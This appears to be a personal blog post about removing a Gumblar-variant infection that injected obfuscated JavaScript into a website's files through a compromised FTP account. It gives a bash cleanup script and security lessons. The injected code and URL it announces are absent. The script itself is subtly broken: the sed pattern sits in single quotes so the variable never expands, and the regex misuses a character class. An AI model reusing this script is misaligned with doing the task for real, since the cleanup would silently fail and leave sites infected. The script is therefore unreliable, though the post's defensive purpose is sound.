Website virus removal and post-mortem!

Recently I was alerted to a virus infection on a website we administer. Initially I had no idea what it was, how it got there or what the threat was. All I had was a report that it was there. Long story short, I fired up the super awesome Tamper Data and after a quick page reload I could see a request going out to a dodgy looking URL! After some digging around it appeared to be a variant of the Gumblar virus. Now I had something to work with. Below is the URL the virus requested on each page load, on an infected site.

What does it do?

Briefly, it uses a compromised FTP user account to inject obfuscated javascript into the website files. It appears to target files named *index* *default* and *.js. For example it appended the bogus javascript block to the end of every *.js file on the site! It also creates a bogus index.html file in some directories if there isn't one there already!

The bogus JS block, which is injected into javascript files;

The code injected into HTML files is the same as above, wrapped in <script> tags.

The antidote!

The first thing to do is to change the FTP user account password on any account that has been compromised ASAP.

The next task on your list should be to trawl/parse your FTP logs to see which file types were accessed. From there you can begin the great cleansing! There could, potentially, be hundreds or thousands of files tainted so its not a job to be done manually.

I put together a bash script to remove the bogus javascript, from a Linux/UNIX box, cleansing the files infected. In short, it does a recrusive find and replace for a target pattern, which is a regular expression matching the bogus javascript. It is set to only operate on .js and .htm(l) files, however you can modify it as needs be. Usual disclaimer applies; only run this code if you understand exactly what the code does. We accept no responsibility for any loss, damage or earthquakes that may result from running this script.

#!/bin/bash
#
#
# TM > searches for a target pattern in files and removes that line from the target file.
# 	It takes a target directory argument and works recursively on that dir.
#	It just operates on .js and .htm(l) files presently - update it to suit.
#
# Note: Use this at your own risk!
#	The author takes no responsibility for any loss or damage that may result 
#	from running this script. Do not iron, do not tumbledry etc.
#
#########################################################################################

if [ -z $1 ];then echo Please enter a target directory; exit 0;fi


target_pattern="^[<script>]*\/\*GNU' 'GPL\*\/' 'try.*" # TM > pattern to match bogus javascript.

i=0
find "$1" -depth -name '*' | while read file ; do

        current_dir=$(dirname "$file")
        filename=$(basename "$file")
	file_extension=${filename/*./}


	case ${file_extension,,} in 	# match lower-case $file_extension
	    "js" | "htm" | "html" ) echo processing file $current_dir/$filename ...
		# search and destroy!
		sed -i '/"$target_pattern"/d' $current_dir/$filename
		i=$(($i+1))
		;;
	    * )
		#echo ignoring file $filename ...  # TM > ignoring these files for the now.
		;;
	esac
	#echo $i files processed!

	done

exit 0

What can be learnt from all this?

One of the weakest links in server security is not necessarily the robustness of the server, but the robustness of the PCs which are used to access the server. For example, if a PC is compromised and it contains un-encrypted access details to a server then the server itself is at risk of being compromised.

PCs are generally not given the same attention to detail from a security point of view as a server. This is because they are generally a tool for personal day to day tasks, as opposed to a server which may provide a mission critical business function. However if the PC contains the keys to the server, then the security of the PC needs do be dealt with in the same context as the mission critical server!

With this in mind, programs which store usernames and passwords in plain text should be dropped in favour of ones which support encryption. Specifically I am thinking of FTP programs, web browsers etc. Also, there is no excuse for not using an encrypted authentication protocol for all server authentication channels. The bottom line is, as the viruses adapt, our security concepts need to adapt in equal measure.

Hopefully its back to a normal days work tomorrow! :)

Related tags: Security, Anti-virus